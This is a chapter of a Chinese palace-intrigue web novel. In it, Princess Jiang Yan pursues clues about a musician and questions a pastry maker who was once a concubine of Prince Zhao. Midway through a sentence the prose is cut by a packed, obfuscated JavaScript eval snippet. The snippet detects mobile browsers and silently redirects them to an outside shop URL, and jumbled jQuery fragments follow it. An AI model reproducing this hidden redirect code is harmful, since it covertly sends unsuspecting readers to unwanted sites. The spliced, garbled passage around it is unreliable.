他当年,只一句“我想好了”,从此无怨无悔地周旋于自己与太女中间,姜晏躺在床上想着旧事,心中不免发笑,这么多年,难为他一个男子了。
而后姜晏把那手帕小心放到枕下,渐入梦乡。
再醒来时,听到门外传来东棋的敲门声,还有她的招牌碎碎念:“也不知道小殿下醒了没,若是没醒,还得给她告假。”
姜晏起了身,唤东棋进屋,只见东棋身后跟着一个穿着粗布衣服的妇人,面色苍老,头发花白,也和东棋一样大步流星地入了屋,待到门被关上,东棋为姜晏梳头换衣时,老妇人才露出真面目。
“东义啊。”姜晏看着铜镜里的自己,找了话茬,“可是探到了什么?”
东义行礼:“想必昨日东舒已将乐师及玉龙印的情报奏于小殿下,关于玉龙印,目前属下已派人拿着小殿下的信物秘密前往晋州交涉。”
姜晏点头:“还要查出玉龙印是如何到晋王手中的。”
“这个自然。”东义说道,“另外还有乐师一事,属下让人寻得当年王安所弹曲目,交予江湖中可靠的门派听辨,发现,这些曲目都出自无音谷。”
“无音谷?我记得亦是与我们交好的门派。”姜晏看向东义,“以音律为武器,擅用琴、笛。她们在琴州也有据点?”
“是,她们靠音律以琴师、乐师身份已渗透至诸多世家,为各大世家办了许多见不得人的事,因为手握着许多世家的把柄,各世家极少主动暴露无音谷。”东义继续道,“但怪就怪在,属下此前也命人查探过,王安弹的曲子,并非出自她之手,而是一个名叫尹怀宁的乐师所出,于是属下通过一些特殊法子探查尹怀宁与王安的关联,发现,她俩极有可能是同一人。”
“有趣,继续查着。”姜晏皱眉,“注意保全自身,若是遇到危险,及时撤退。”
“琴州也不算什么蛮荒地,能有什么危险?”东棋为她穿上衣服,突然来了一句。
“那自然不是怕琴州人。”姜晏与东义心照不宣地对视一眼,而后东义淡笑退下。
大理寺,姜晏坐在自己的少卿厅,继续翻着往年的卷宗,看得正入神,文正勤走了进来,也没让人通传,只静静走到姜晏身后,见她正出神看案卷,轻咳了一声。
姜晏抬头,方才看到她,起身行礼,又被她按下。
“发生此等大事,你应当多休几日的。”文正勤轻声道。
“嗨,失个恋而已。”姜晏摆手,“小事。”
文正勤淡笑:“小事吗?据说……”
“哎,过了就行了,没事的。”姜晏打断她的话,转移了话题,“说起来,我在看建业年间的案子。”
文正勤扶额:“先是投毒案,后是三皇子案,小殿下,您要不再休息几天,别把大理寺当百宝库了。”
“可这就是个百宝库啊!”姜晏两眼发亮,“建业二十九年这个案子更是有趣得紧。”
“过几天罢,小殿下,再这样下去,我怕陛下该问老臣的不是,怎么旧案全是漏洞。”文正勤叹道。
姜晏疑惑:“我翻的案子您都没有直接过错,有何所惧?”
“好歹是大理寺卿,知晓详情的自不会多问,只是朝中总有歪心思的人,但凡被多质疑几句,难免遭猜忌。”文正勤拍了拍姜晏的肩膀,“老臣明白小殿下的用心,只是凡事快不比慢,总要有个轻重缓急的。”
“行。”姜晏点头,“那我这次不翻案,只事关一个小小线索,和案子无甚联系。”
“那也得缓几天,您现在就该趁着失恋去歌园子买买醉,去寻几个可意郎君快乐一下!”文正勤说道,“这是她们乐意见到的,您想想,倘若您没两天就如常,那对方会怎么想,大抵会觉得您可怕,如此打击都能迅速恢复,此后定然更加提防你,那便是得不偿失。”
姜晏思索片刻,点了点头:“说得有理,那……我去快乐一下?”
“去吧去吧。”文正勤挥手准假。
“只是我还想问一句,当年母亲的风流债中,可否还有存世于皇都之人?”姜晏眼里闪过一丝期待。
文正勤皱眉:“你干嘛,大成可不兴找爹啊,你娘指谁是你爹就是谁。”
“我找那玩意儿干嘛,就是单纯好奇母亲当年到底有多少情债,其实你不说我也知道一个,有个琴州献过来的美人。”姜晏狡黠一笑,起身离开,“大人,我快乐去喽!”
文正勤无奈摇头,心中不知这小祖宗到底要干嘛,只是低头,看到姜晏适才所阅卷宗,皱眉道:“又被这祖宗摆了一道。”
出了静思园一直往南,离裴府约莫半炷香的脚程时,有一个经年不衰的小坊市,坊市深处有一家乔记点心铺,姜晏坐在铺子外的座位上,随意翻看着桌上的菜单。
乔记点心铺的老板也是一位男子,长相如兰般淡雅俊秀,他看到姜晏,笑着从铺子里走出,姜晏抬头,发现他眼角多了些许皱纹。
“小殿下已是好久没来了,今日想吃点什么,还和以前一样吗?”老板的声音依旧如当年清澈干净。
“不用,乔叔,今日我想吃点别的。”姜晏笑道,“嗯……要西州胡饼、脆馍。”
“哟,这两个可不甜,吃得惯吗?”乔老板好意问道。
姜晏点头:“吃得惯,我其实没那么多执拗的口味。”
“那便是从前跟在你身旁那个小郎君喜甜咯?”乔老板打趣道,“今日怎么没带他?”
“不带了。”姜晏兀自倒了一杯茶喝起来,“以后都不带了。”
乔老板没再多问,只回到铺子里做起点心。姜晏也屁颠屁颠地跟在他身后:“今儿我想看看乔叔做点心。”
乔老板笑着点头,温声道:“好呀,要不要做慢一点让小殿下好好学?”
还没到晌午,店铺里并无旁人,乔老板熟练地揉面,加入酥油、牛乳、香料,而后放进锅里油炸,姜晏闻着香味,叹道:“真香啊,当年昭亲王离开皇都前夕,带着我路过这里,她驻足了许久,我闻到的便是这香味儿,我嚷着让昭亲王带我来吃,她却不发一言地牵着我走了。”
乔老板的手顿了顿,眼神里闪过一丝慌乱,却强行镇定问道:“小,小殿下,你说的是何时之事了,我怎么毫无印象?”
“建业年间,琴州派出一名尹姓高官前往皇都学习,还献上诸多美人,最出色的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943663|192297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个,先皇赏给了彼时最受宠爱的昭亲王。”姜晏说道,“那个美人容貌清雅,仪态端方,能歌善舞,还做得一手好点心,昭亲王对他也是宠爱有加,只是不姓乔,名唤金雅。”
乔老板的手轻轻抖了抖。
姜晏伸手帮他按住快掉下的菜刀,继续说道:“不过名字是可以改的,对吧?乔叔,你没藏住。”
乔老板低声道:“都这么多年了,你还提它作甚?”
姜晏正色:“因为一件事关昭亲王声誉之事快要浮出,我怕有人做文章,故而想提前查明此事,这事儿事关琴州,我熟识的琴州人只有您。”
乔老板摇头道:“琴州虽不大,却也不是人人都互相熟识,问我也不一定有出路。”
“万一呢。”姜晏用纸把炸好的胡饼包住,浅浅咬了一口,“嗯,好吃!——叔你放心,我会保证你的安全。”
乔老板长叹一口气,看向姜晏:“既然事关昭殿下,我会帮,去把店门关了再详谈。”
姜晏点头,小跑去关上了店门,乔老板将做好的胡饼脆馍放到一堂食桌上,静静坐在桌边,待到姜晏回身,他静静问道:“你怎么知道我的,我记得当年与你并未见过几面。”
姜晏笑道:“那时我虽不记得你的长相,却记得味道呀,当年你在府中也做过这胡饼,母亲为了哄我,掰给我吃过一点儿。”而后与他对坐,不客气地拿起胡饼开吃,“刚来皇都时,我去找一位母亲的旧部讨教要事,却被赶出府门外,后来心情激愤,与属下不知不觉走到这坊市,觉得眼熟,闻到这胡饼香气,更觉熟悉。”
“为何那时你不拆穿我?”乔老板抬眉。
姜晏自嘲一笑:“因为那时我自身难保,护不住您,不认识便是最好的。”
乔老板勾唇,这一笑可谓风华绝代,姜晏没忍住多看了两眼。
只见乔老板说道:“说吧,究竟所谓何事?”
姜晏正色:“乔叔对当年那位尹姓高官了解多少?”
乔老板皱眉回想:“知道得不多,我们自小被教习者养在宅中,是专门培养来献给达官贵人的,在出宅前,鲜少能与外界交流,但尹这个姓氏,在我小时候,便经常听得教习者说起,想来在琴州是豪门大族。与那位尹姓官员见面是被送至大成的前夜,她只在我们面前叮嘱不要出乱子,言语刚正,说完便离开了,临行前有兄弟曾担心,这种时候可能我们几个男子会被这个官员轻薄,但此事并未发生,因而想来,这个官员是个正直之人。”
姜晏点头,把胡饼又咬了一口进口中:“既然品行优秀,那,乔叔可否记得,她当年为何被降罪?”
乔老板轻轻摇头:“不知,只记得昭殿下回府后,告诉我尹大人被关进大牢,陛下还下旨处理掉一同送来的美人们,昭殿下心善,也知我绝无僭越,因而秘密给我制造了假身份,将我藏于市井。”
姜晏道:“昭殿下想必是舍不得你,想离你近些,不然,该把你往皇都之外送的。”
“也许吧。”乔老板长叹一口气,“当年被送到皇都的这些美人皆四处逃亡,被朝廷各路追杀,昭殿下说,还不如就藏在皇都,最危险之地便是最安全之处。”